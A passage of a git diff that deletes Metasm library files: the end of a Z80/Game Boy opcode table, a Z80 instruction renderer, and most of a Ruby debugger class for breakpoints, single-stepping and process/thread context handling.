[0xED, 0b01_000_011], :m16, :rp - addop 'ld', [0xED, 0b01_001_011], :rp, :m16 - addop 'neg', [0xED, 0b01_000_100], :r_a, :iy # dummy int field - addop 'retn', [0xED, 0b01_000_101], :stopexec # dummy int != 1 ? (1 = reti) - addop 'reti', [0xED, 0b01_001_101], :stopexec, :setip - addop 'im', [0xED, 0b01_000_110], :iy - addop 'ld', [0xED, 0b01_000_111], :r_i, :r_a - addop 'ld', [0xED, 0b01_001_111], :r_r, :r_a - addop 'ld', [0xED, 0b01_010_111], :r_a, :r_i - addop 'ld', [0xED, 0b01_011_111], :r_a, :r_r - addop 'rrd', [0xED, 0b01_100_111] - addop 'rld', [0xED, 0b01_101_111] - - addop 'ldi', [0xED, 0b10_100_000] - addop 'ldd', [0xED, 0b10_101_000] - addop 'ldir', [0xED, 0b10_110_000] - addop 'lddr', [0xED, 0b10_111_000] - addop 'cpi', [0xED, 0b10_100_001] - addop 'cpd', [0xED, 0b10_101_001] - addop 'cpir', [0xED, 0b10_110_001] - addop 'cpdr', [0xED, 0b10_111_001] - addop 'ini', [0xED, 0b10_100_010] - addop 'ind', [0xED, 0b10_101_010] - addop 'inir', [0xED, 0b10_110_010] - addop 'indr', [0xED, 0b10_111_010] - addop 'outi', [0xED, 0b10_100_011] - addop 'outd', [0xED, 0b10_101_011] - addop 'otir', [0xED, 0b10_110_011] - addop 'otdr', [0xED, 0b10_111_011] - - addop 'unk_ed', [0xED], :i8 - - addop 'unk_nop', [], :i8 # undefined opcode = nop - @unknown_opcode = @opcode_list.last - end - - # gameboy processor - # from http://nocash.emubase.de/pandocs.htm#cpucomparisionwithz80 - def init_gb - init_z80_common - - addop 'ld', [0x08], :m16, :r_sp - addop 'stop', [0x10] - - addop 'ldi', [0x22], :m_hl, :r_a # (hl++) <- a - addop 'ldi', [0x2A], :r_a, :m_hl - addop 'ldd', [0x32], :m_hl, :r_a # (hl--) <- a - addop 'ldd', [0x3A], :r_a, :m_hl - - addop 'reti', [0xD9], :setip, :stopexec - - # override retpo/jpo - @opcode_list.delete_if { |op| op.bin[0] & 0xE5 == 0xE0 } # rm E0 E2 E8 EA F0 F2 F8 FA - addop 'ld', [0xE0], :mf8, :r_a # (0xff00 + :i8) - addop 'ld', [0xE2], :mfc, :r_a # (0xff00 + :r_c) - addop 'add', [0xE8], :r_sp, :i8 - addop 'ld', [0xEA], :m16, :r_a - addop 'ld', [0xF0], :r_a, :mf8 - addop 'ld', [0xF2], :r_a, :mfc - addop 'ld', [0xF8], :r_hl, :r_sp, :i8 # hl <- sp+:i8 - addop 'ld', [0xFA], :r_a, :m16 - - addop 'swap', [0xCB, 0x30], :rz - - addop 'inv_dd', [0xDD], :stopexec # invalid prefixes - addop 'inv_ed', [0xED], :stopexec - addop 'inv_fd', [0xFD], :stopexec - - addop 'unk_nop', [], :i8 # undefined opcode = nop - @unknown_opcode = @opcode_list.last - end - - alias init_latest init_z80 -end -end diff --git a/lib/metasm/metasm/cpu/z80/render.rb b/lib/metasm/metasm/cpu/z80/render.rb deleted file mode 100644 index 51a7b2e81b..0000000000 --- a/lib/metasm/metasm/cpu/z80/render.rb +++ /dev/null @@ -1,59 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/z80/opcodes' -require 'metasm/render' - -module Metasm -class Z80 - class Reg - include Renderable - def render ; [self.class.i_to_s[@sz][@i]] end - end - class Memref - include Renderable - def render - r = ['('] - r << @base if @base - r << '+' if @base and @offset - r << @offset if @offset - r << ')' - end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - i.args.each { |a_| r << a_ << ', ' } - r.pop - end - r - end - - def gui_hilight_word_regexp_init - ret = {} - - # { 'B' => 'B|BC', 'BC' => 'B|C|BC' } - - %w[BC DE HL].each { |w| - l0, l1 = w.split(//) - ret[l0] = "#{l0}#{l1}?" - ret[l1] = "#{l0}?#{l1}" - ret[w] = "#{l0}|#{l0}?#{l1}" - } - - ret - end - - def gui_hilight_word_regexp(word) - @gui_hilight_word_hash ||= gui_hilight_word_regexp_init - @gui_hilight_word_hash[word] or super(word) - end - -end -end diff --git a/lib/metasm/metasm/debug.rb b/lib/metasm/metasm/debug.rb deleted file mode 100644 index 26e88df103..0000000000 --- a/lib/metasm/metasm/debug.rb +++ /dev/null @@ -1,1445 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -# this class implements a high-level debugging API (abstract superclass) -class Debugger - class Breakpoint - attr_accessor :address, - # context where the bp was defined - :pid, :tid, - # bool: oneshot ? - :oneshot, - # current bp state: :active, :inactive (internal use), :disabled (user-specified) - :state, - # type: type of breakpoint (:bpx = soft, :hwbp = hard, :bpm = memory) - :type, - # Expression if this is a conditionnal bp - # may be a Proc, String or Expression, evaluated every time the breakpoint hits - # if it returns 0 or false, the breakpoint is ignored - :condition, - # Proc to run if this bp has a callback - :action, - # Proc to run to emulate the overwritten instr behavior - # used to avoid unset/singlestep/re-set, more multithread friendly - # may be a DecodedInstruction for lazy initialization, see Debugger#init_bpx/has_emul_instr(bpx) - :emul_instr, - # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) - :internal, - # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) - # shared is an array of Breakpoints, the same Array object in all shared breakpoints - # owner is a hash key => shared (dbg.breakpoint) - # key is an identifier for the Bp class in owner (bp.address) - :hash_shared, :hash_owner, :hash_key, - # user-defined breakpoint-specific stuff - :userdata - - # append the breakpoint to hash_owner + hash_shared - def add(owner=@hash_owner) - @hash_owner = owner - @hash_key ||= @address - return add_bpm if @type == :bpm - if pv = owner[@hash_key] - @hash_shared = pv.hash_shared - @internal ||= pv.internal - @emul_instr ||= pv.emul_instr - else - owner[@hash_key] = self - @hash_shared = [] - end - @hash_shared << self - end - - # register a bpm: add references to all page start covered in @hash_owner - def add_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared = [self] - - @internal ||= {} - @internal[:orig_prot] ||= {} - while a < m - if pv = @hash_owner[a] - if not pv.hash_shared.include?(self) - pv.hash_shared.concat @hash_shared-pv.hash_shared - @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } - end - @internal[:orig_prot][a] = pv.internal[:orig_prot][a] - else - @hash_owner[a] = self - end - a += 0x1000 - end - end - - # delete the breakpoint from hash_shared, and hash_owner if empty - def del - return del_bpm if @type == :bpm - @hash_shared.delete self - if @hash_shared.empty? - @hash_owner.delete @hash_key - elsif @hash_owner[@hash_key] == self - @hash_owner[@hash_key] = @hash_shared.first - end - end - - # unregister a bpm - def del_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared.delete self - while a < m - pv = @hash_owner[a] - if pv == self - if opv = @hash_shared.find { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a - } - @hash_owner[a] = opv - else - @hash_owner.delete a - - # split hash_shared on disjoint ranges - prev_shared = @hash_shared.find_all { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a - } - - prev_shared.each { |bpm| - bpm.hash_shared = prev_shared - @hash_shared.delete bpm - } - end - end - a += 0x1000 - end - end - end - - # per-process data - attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, - :modulemap, :symbols, :symbols_len - # per-thread data - attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, - :run_args, :breakpoint_cause - - # which/where per-process/thread stuff is stored - attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list - - # global debugger callbacks, called whenever such event occurs - attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, - :callback_exception, :callback_newthread, :callback_endthread, - :callback_newprocess, :callback_endprocess, :callback_loadlibrary - - # global switches, specify wether to break on exception/thread event - # can be a Proc that is evaluated (arg = info parameter of the evt_func) - # trace_children is a bool to tell if we should debug subprocesses spawned - # by the target - attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, - :trace_children - - # link to the user-interface object if available - attr_accessor :gui - - # initializes the disassembler internal data - subclasses should call super() - def initialize - @pid_stuff = {} - @tid_stuff = {} - @log_proc = nil - @state = :dead - @info = '' - # stuff saved when we switch pids - @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, - :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, - :dead_process] - @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, - :run_method, :run_args, :breakpoint_cause, :dead_thread] - @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } - @callback_newprocess = lambda { |h| log "process #{@pid} attached" } - @callback_endprocess = lambda { |h| log "process #{@pid} died" } - initialize_newpid - initialize_newtid - end - - def dasm; disassembler; end - - def shortname; self.class.name.split('::').last.downcase; end - - attr_reader :pid - # change pid and associated cached data - # this will also re-load the previously selected tid for this process - def pid=(npid) - return if npid == pid - raise "invalid pid" if not check_pid(npid) - swapout_pid - @pid = npid - swapin_pid - end - alias set_pid pid= - - attr_reader :tid - def tid=(ntid) - return if ntid == tid - raise "invalid tid" if not check_tid(ntid) - swapout_tid - @tid = ntid - swapin_tid - end - alias set_tid tid= - - # creates stuff related to a new process being debugged - # includes disassembler, modulemap, symbols, breakpoints - # subclasses should check that @pid maps to a real process and raise() otherwise - # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu - def initialize_newpid - return if not pid - @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @symbols = {} - @symbols_len = {} - @modulemap = {} - @breakpoint = {} - @breakpoint_memory = {} - @tid_stuff = {} - initialize_cpu - initialize_memory - initialize_disassembler - end - - # subclasses should check that @tid maps to a real thread and raise() otherwise - def initialize_newtid - return if not tid - @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @state = :stopped - @info = 'new' - @breakpoint_thread = {} - gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) - end - - # initialize the disassembler from @cpu/@memory - def initialize_disassembler - return if not @memory or not @cpu - @disassembler = Shellcode.decode(@memory, @cpu).disassembler - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one pid to another, save current pid data - def swapout_pid - return if not pid - swapout_tid - gui.swapout_pid if gui.respond_to?(:swapout_pid) - @pid_stuff[@pid] ||= {} - @pid_stuff_list.each { |fld| - @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one tid to another, save current tid data - def swapout_tid - return if not tid - gui.swapout_tid if gui.respond_to?(:swapout_tid) - @tid_stuff[@tid] ||= {} - @tid_stuff_list.each { |fld| - @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one pid to another, load current pid data - def swapin_pid - return initialize_newpid if not @pid_stuff[@pid] - - @pid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) - } - swapin_tid - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one tid to another, load current tid data - def swapin_tid - return initialize_newtid if not @tid_stuff[@tid] - - @tid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) - } - gui.swapin_tid if gui.respond_to?(:swapin_tid) - end - - # delete references to the current pid - # switch to another pid, set @state = :dead if none available - def del_pid - @pid_stuff.delete @pid - if @pid = @pid_stuff.keys.first - swapin_pid - else - @state = :dead - @info = '' - @tid = nil - end - end - - # delete references to the current thread - def del_tid - @tid_stuff.delete @tid - if @tid = @tid_stuff.keys.first - swapin_tid - else - del_tid_notid - end - end - - # wipe the whole process when no TID is left - # XXX we may have a pending evt_newthread... - def del_tid_notid - del_pid - end - - - # change the debugger to a specific pid/tid - # if given a block, run the block and then restore the original pid/tid - # pid may be an object that respond to #pid/#tid - def switch_context(npid, ntid=nil, &b) - if npid.respond_to?(:pid) - ntid ||= npid.tid - npid = npid.pid - end - oldpid = pid - oldtid = tid - set_pid npid - set_tid ntid if ntid - if b - # shortcut begin..ensure overhead - return b.call if oldpid == pid and oldtid == tid - - begin - b.call - ensure - set_pid oldpid - set_tid oldtid - end - end - end - alias set_context switch_context - - # iterate over all pids, yield in the context of this pid - def each_pid(&b) - # ensure @pid is last, so that we finish in the current context - lst = @pid_stuff.keys - [@pid] - lst << @pid - return lst if not b - lst.each { |p| - set_pid p - b.call - } - end - - # iterate over all tids of the current process, yield in its context - def each_tid(&b) - lst = @tid_stuff.keys - [@tid] - lst << @tid - return lst if not b - lst.each { |t| - set_tid t rescue next - b.call - } - end - - # iterate over all tids of all pids, yield in their context - def each_pid_tid(&b) - each_pid { each_tid { b.call } } - end - - - # create a thread/process breakpoint - # addr can be a numeric address, an Expression that is resolved, or - # a String that is parsed+resolved - # info's keys are set to the breakpoint - # standard keys are :type, :oneshot, :condition, :action - # returns the Breakpoint object - def add_bp(addr, info={}) - info[:pid] ||= @pid - # dont define :tid for bpx, otherwise on del_bp we may switch_context to this thread that may not be stopped -> cant ptrace_write - info[:tid] ||= @tid if info[:pid] == @pid and info[:type] == :hwbp - - b = Breakpoint.new - info.each { |k, v| - b.send("#{k}=", v) - } - - switch_context(b) { - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - b.address = addr - - b.hash_owner ||= case b.type - when :bpm; @breakpoint_memory - when :hwbp; @breakpoint_thread - when :bpx; @breakpoint - end - # XXX bpm may hash_share with an :active, but be larger and still need enable() - b.add - - enable_bp(b) if not info[:state] - } - - b - end - - # remove a breakpoint - def del_bp(b) - disable_bp(b) - b.del - end - - # activate an inactive breakpoint - def enable_bp(b) - return if b.state == :active - if not b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - if not b.internal - init_bpx(b) if b.type == :bpx - b.internal ||= {} - b.hash_shared.each { |bb| bb.internal ||= b.internal } - end - do_enable_bp(b) - } - end - b.state = :active - end - - # deactivate an active breakpoint - def disable_bp(b, newstate = :inactive) - return if b.state != :active - b.state = newstate - return if b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - do_disable_bp(b) - } - end - - - # delete all breakpoints defined in the current thread - def del_all_breakpoints_thread - @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # delete all breakpoints for the current process and all its threads - def del_all_breakpoints - each_tid { del_all_breakpoints_thread } - @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp - def do_enable_bp(b) - if b.type == :bpm; do_enable_bpm(b) - else @cpu.dbg_enable_bp(self, b) - end - end - - # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp - def do_disable_bp(b) - if b.type == :bpm; do_disable_bpm(b) - else @cpu.dbg_disable_bp(self, b) - end - end - - # called in the context of the target when a bpx is to be initialized - # may (lazily) initialize b.emul_instr for virtual singlestep - def init_bpx(b) - # dont bother setting stuff up if it is never to be used - return if b.oneshot and not b.condition - - # lazy setup of b.emul_instr: delay building emulating lambda to if/when actually needed - # we still need to disassemble now and update @disassembler, before we patch the memory for the bpx - di = init_bpx_disassemble(b.address) - b.hash_shared.each { |bb| bb.emul_instr = di } - end - - # retrieve the di at a given address, disassemble if needed - # TODO make it so this doesn't interfere with other 'real' disassembler later commands, eg disassemble() or disassemble_fast_deep() - # (right now, when they see the block already present they stop all processing) - def init_bpx_disassemble(addr) - @disassembler.disassemble_fast_block(addr) - @disassembler.di_at(addr) - end - - # checks if bp has an emul_instr - # do the lazy initialization if needed - def has_emul_instr(bp) - if bp.emul_instr.kind_of?(DecodedInstruction) - if di = bp.emul_instr and fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and - fdbd.all? { |k, v| (k.kind_of?(Symbol) or k.kind_of?(Indirection)) and - k != :incomplete_binding and v != Expression::Unknown } - # setup a lambda that will mimic, using the debugger primitives, the actual execution of the instruction - bp.emul_instr = lambda { - fdbd.map { |k, v| - k = Indirection[emulinstr_resv(k.pointer), k.len] if k.kind_of?(Indirection) - [k, emulinstr_resv(v)] - }.each { |k, v| - if k.to_s =~ /flags?_(.+)/i - f = $1.downcase.to_sym - set_flag_value(f, v) - elsif k.kind_of?(Symbol) - set_reg_value(k, v) - elsif k.kind_of?(Indirection) - memory_write_int(k.pointer, v, k.len) - end - } - } - bp.hash_shared.each { |bb| bb.emul_instr = bp.emul_instr } - else - bp.hash_shared.each { |bb| bb.emul_instr = nil } - end - end - - bp.emul_instr - end - - def emulinstr_resv(e) - r = e - flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/i } - if flags.first - bd = {} - flags.each { |f| - f.to_s =~ /flags?_(.+)/i - bd[f] = get_flag_value($1.downcase.to_sym) - } - r = r.bind(bd) - end - resolve(r) - end - - # sets a breakpoint on execution - def bpx(addr, oneshot=false, cond=nil, &action) - h = { :type => :bpx } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a hardware breakpoint - # mtype in :r :w :x - # mlen is the size of the memory zone to cover - # mlen may be constrained by the architecture - def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) - h = { :type => :hwbp } - h[:hash_owner] = @breakpoint_thread - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - mtype = mtype.to_sym - h[:hash_key] = [addr, mtype, mlen] - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a memory breakpoint - # mtype is :r :w :rw or :x - # mlen is the size of the memory zone to cover - def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) - h = { :type => :bpm } - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - - # define the lambda to use to log stuff - def set_log_proc(l=nil, &b) - @log_proc = l || b - end - - # show information to the user, uses log_proc if defined - def log(*a) - if @log_proc - a.each { |aa| @log_proc[aa] } - else - puts(*a) if $VERBOSE - end - end - - - # marks the current cache of memory/regs invalid - def invalidate - @memory.invalidate if @memory - end - - # invalidates the EncodedData backend for the dasm sections - def dasm_invalidate - disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to?(:invalidate) } if disassembler - end - - # return all breakpoints set on a specific address (or all bp) - def all_breakpoints(addr=nil) - ret = [] - if addr - if b = @breakpoint[addr] - ret |= b.hash_shared - end - else - @breakpoint.each_value { |bb| ret |= bb.hash_shared } - end - - @breakpoint_thread.each_value { |bb| - next if addr and bb.address != addr - ret |= bb.hash_shared - } - - @breakpoint_memory.each_value { |bb| - next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) - ret |= bb.hash_shared - } - - ret - end - - # return on of the breakpoints at address addr - def find_breakpoint(addr=nil, &b) - return @breakpoint[addr] if @breakpoint[addr] and (not b or b.call(@breakpoint[addr])) - all_breakpoints(addr).find { |bp| b.call bp } - end - - - # to be called right before resuming execution of the target - # run_m is the method that should be called if the execution is stopped - # due to a side-effect of the debugger (bpx with wrong condition etc) - # returns nil if the execution should be avoided (just deleted the dead thread/process) - def check_pre_run(run_m, *run_a) - if @dead_process - del_pid - return - elsif @dead_thread - del_tid - return - elsif @state == :running - return - end - @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) - @breakpoint_cause = nil - @run_method = run_m - @run_args = run_a - @info = nil - true - end - - - # called when the target stops due to a singlestep exception - def evt_singlestep(b=nil) - b ||= find_singlestep - return evt_exception(:type => 'singlestep') if not b - - @state = :stopped - @info = 'singlestep' - @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) - - callback_singlestep[] if callback_singlestep - - if cb = @singlestep_cb - @singlestep_cb = nil - cb.call # call last, as the cb may change singlestep_cb/state/etc - end - end - - # returns true if the singlestep is due to us - def find_singlestep - return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) - @run_method == :singlestep - end - - # called when the target stops due to a soft breakpoint exception - def evt_bpx(b=nil) - b ||= find_bp_bpx - # TODO handle race: - # bpx foo ; thread hits foo ; we bc foo ; os notify us of bp hit but we already cleared everything related to 'bpx foo' -> unhandled bp exception - return evt_exception(:type => 'breakpoint') if not b - - @state = :stopped - @info = 'breakpoint' - @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) - - callback_bpx[b] if callback_bpx - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_bpx - def find_bp_bpx - return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint[pc] - end - - # called when the target stops due to a hwbp exception - def evt_hwbp(b=nil) - b ||= find_bp_hwbp - return evt_exception(:type => 'hwbp') if not b - - @state = :stopped - @info = 'hwbp' - @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) - - callback_hwbp[b] if callback_hwbp - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_hwbp - def find_bp_hwbp - return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_hwbp) - @breakpoint_thread.find { |b| b.address == pc } - end - - # called for archs where the same interrupt is generated for hwbp and singlestep - # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which - # will forward to evt_exception if singlestep does not match either) - def evt_hwbp_singlestep - if b = find_bp_hwbp - evt_hwbp(b) - else - evt_singlestep - end - end - - # called when the target stops due to a memory exception caused by a memory bp - # called by evt_exception - def evt_bpm(b) - @state = :stopped - @info = 'bpm' - - callback_bpm[b] if callback_bpm - - post_evt_bp(b) - end - - # return a bpm whose page coverage includes the fault described in info - def find_bp_bpm(info) - @breakpoint_memory[info[:fault_addr] & -0x1000] - end - - # returns true if the fault described in info is valid to trigger b - def check_bpm_range(b, info) - return if b.address+b.internal[:len] <= info[:fault_addr] - return if b.address >= info[:fault_addr] + info[:fault_len] - case b.internal[:type] - when :r; info[:fault_access] == :r # or info[:fault_access] == :x - when :w; info[:fault_access] == :w - when :x; info[:fault_access] == :x # XXX non-NX cpu => check pc is in bpm range ? - when :rw; true - end - end - - # handles breakpoint conditions/callbacks etc - def post_evt_bp(b) - @breakpoint_cause = b - - found_valid_active = false - - pre_callback_pc = pc - - # XXX may have many active bps with callback that continue/singlestep/singlestep{}... - b.hash_shared.dup.find_all { |bb| - # ignore inactive bps - next if bb.state != :active - - # ignore out-of-range bpms - next if bb.type == :bpm and not check_bpm_range(bb, b.internal) - - # check condition - case bb.condition - when nil; cd = 1 - when Proc; cd = bb.condition.call - when String, Expression; cd = resolve_expr(bb.condition) - else raise "unknown bp condition #{bb.condition.inspect}" - end - next if not cd or cd == 0 - - found_valid_active = true - - # oneshot - del_bp(bb) if bb.oneshot - - bb.action - }.each { |bb| bb.action.call } - - # discard @breakpoint_cause if a bp callback did modify register_pc - @breakpoint_cause = nil if pc != pre_callback_pc - - # we did break due to a bp whose condition is not true: resume - # (unless a callback already resumed) - resume_badbreak(b) if not found_valid_active and @state == :stopped - end - - # called whenever the target stops due to an exception - # type may be: - # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) - # anything else for other exceptions (access violation is special to handle bpm) - # ... - def evt_exception(info={}) - if info[:type] == 'access violation' and b = find_bp_bpm(info) - info[:fault_len] ||= 1 - b.internal.update info - return evt_bpm(b) - end - - @state = :stopped - @info = "exception #{info[:type]}" - - callback_exception[info] if callback_exception - - pass = pass_all_exceptions - pass = pass[info] if pass.kind_of? Proc - if pass - pass_current_exception - resume_badbreak - end - end - - def evt_newthread(info={}) - @state = :stopped - @info = 'new thread' - - callback_newthread[info] if callback_newthread - - ign = ignore_newthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_endthread(info={}) - @state = :stopped - @info = 'end thread' - # mark the thread as to be deleted on next check_pre_run - @dead_thread = true - - callback_endthread[info] if callback_endthread - - ign = ignore_endthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_newprocess(info={}) - @state = :stopped - @info = 'new process' - - callback_newprocess[info] if callback_newprocess - end - - def evt_endprocess(info={}) - @state = :stopped - @info = 'end process' - @dead_process = true - - callback_endprocess[info] if callback_endprocess - end - - def evt_loadlibrary(info={}) - @state = :stopped - @info = 'loadlibrary' - - callback_loadlibrary[info] if callback_loadlibrary - end - - # called when we did break due to a breakpoint whose condition is invalid - # resume execution as if we never stopped - # disable offending bp + singlestep if needed - def resume_badbreak(b=nil) - # ensure we didn't delete b - if b and b.hash_shared.find { |bb| bb.state == :active } - rm = @run_method - if rm == :singlestep - singlestep_bp(b) - else - ra = @run_args - singlestep_bp(b) { send rm, *ra } - end - else - send @run_method, *@run_args - end - end - - # singlesteps over an active breakpoint and run its block - # if the breakpoint provides an emulation stub, run that, otherwise - # disable the breakpoint, singlestep, and re-enable - def singlestep_bp(bp, &b) - if has_emul_instr(bp) - @state = :stopped - bp.emul_instr.call - b.call if b - else - bp.hash_shared.each { |bb| - disable_bp(bb, :temp_inactive) if bb.state == :active - } - # this *should* work with different bps stopping the current instr - prev_sscb = @singlestep_cb - singlestep { - bp.hash_shared.each { |bb| - enable_bp(bb) if bb.state == :temp_inactive - } - prev_sscb[] if prev_sscb - b.call if b - } - end - end - - # checks if @breakpoint_cause is valid, or was obsoleted by the user changing pc - def check_breakpoint_cause - if bp = @breakpoint_cause and - (bp.type == :bpx or (bp.type == :hwbp and bp.internal[:type] == :x)) and - pc != bp.address - bp = @breakpoint_cause = nil - end - bp - end - - # checks if the running target has stopped (nonblocking) - # returns false if no debug event happened - def check_target - do_check_target - end - - # waits until the running target stops (due to a breakpoint, fault, etc) - def wait_target - do_wait_target while @state == :running - end - - # resume execution of the target - # bypasses a software breakpoint on pc if needed - # thread breakpoints must be manually disabled before calling continue - def continue - if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:continue) - do_continue - } - else - return if not check_pre_run(:continue) - do_continue - end - end - alias run continue - - # continue ; wait_target - def continue_wait - continue - wait_target - end - - # resume execution of the target one instruction at a time - def singlestep(&b) - @singlestep_cb = b - bp = check_breakpoint_cause - return if not check_pre_run(:singlestep) - if bp and bp.hash_shared.find { |bb| bb.state == :active } and has_emul_instr(bp) - @state = :stopped - bp.emul_instr.call - invalidate - evt_singlestep(true) - else - do_singlestep - end - end - - # singlestep ; wait_target - def singlestep_wait(&b) - singlestep(&b) - wait_target - end - - # tests if the specified instructions should be stepover() using singlestep or - # by putting a breakpoint at next_addr - def need_stepover(di = di_at(pc)) - di and @cpu.dbg_need_stepover(self, di.address, di) - end - - # stepover: singlesteps, but do not enter in subfunctions - def stepover - di = di_at(pc) - if need_stepover(di) - bpx di.next_addr, true, Expression[:tid, :==, @tid] - continue - else - singlestep - end - end - - # stepover ; wait_target - def stepover_wait - stepover - wait_target - end - - # checks if an instruction should stop the stepout() (eg it is a return instruction) - def end_stepout(di = di_at(pc)) - di and @cpu.dbg_end_stepout(self, di.address, di) - end - - # stepover until finding the last instruction of the function - def stepout - # TODO thread-local bps - while not end_stepout - stepover - wait_target - end - do_singlestep - end - - def stepout_wait - stepout - wait_target - end - - # set a singleshot breakpoint, run the process, and wait - def go(target, cond=nil) - bpx(target, true, cond) - continue_wait - end - - # continue_wait until @state == :dead - def run_forever - continue_wait until @state == :dead - end - - # decode the Instruction at the address, use the @disassembler cache if available - def di_at(addr) - @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) - end - - # list the general purpose register names available for the target - def register_list - @cpu.dbg_register_list - end - - # hash { register_name => register_size_in_bits } - def register_size - @cpu.dbg_register_size - end - - # retrieves the name of the register holding the program counter (address of the next instruction) - def register_pc - @cpu.dbg_register_pc - end - - # retrieve the name of the register holding the stack pointer - def register_sp - @cpu.dbg_register_sp - end - - # then name of the register holding the cpu flags - def register_flags - @cpu.dbg_register_flags - end - - # list of flags available in the flag register - def flag_list - @cpu.dbg_flag_list - end - - # retreive the value of the program counter register (eip) - def pc - get_reg_value(register_pc) - end - alias ip pc - - # change the value of pc - def pc=(v) - set_reg_value(register_pc, v) - end - alias ip= pc= - - # retrieve the value of the stack pointer register - def sp - get_reg_value(register_sp) - end - - # update the stack pointer - def sp=(v) - set_reg_value(register_sp, v) - end - - # retrieve the value of a flag (0/1) - def get_flag_value(f) - @cpu.dbg_get_flag(self, f) - end - - # retrieve the value of a flag (true/false) - def get_flag(f) - get_flag_value(f) != 0 - end - - # change the value of a flag - def set_flag_value(f, v) - (v && v != 0) ? set_flag(f) : unset_flag(f) - end - - # switch the value of a flag (true->false, false->true) - def toggle_flag(f) - set_flag_value(f, 1-get_flag_value(f)) - end - - # set the value of the flag to true - def set_flag(f) - @cpu.dbg_set_flag(self, f) - end - - # set the value of the flag to false - def unset_flag(f) - @cpu.dbg_unset_flag(self, f) - end - - # returns the name of the module containing addr or nil - def addr2module(addr) - @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } - end - - # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') - def addrname(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } - @symbols[s] + 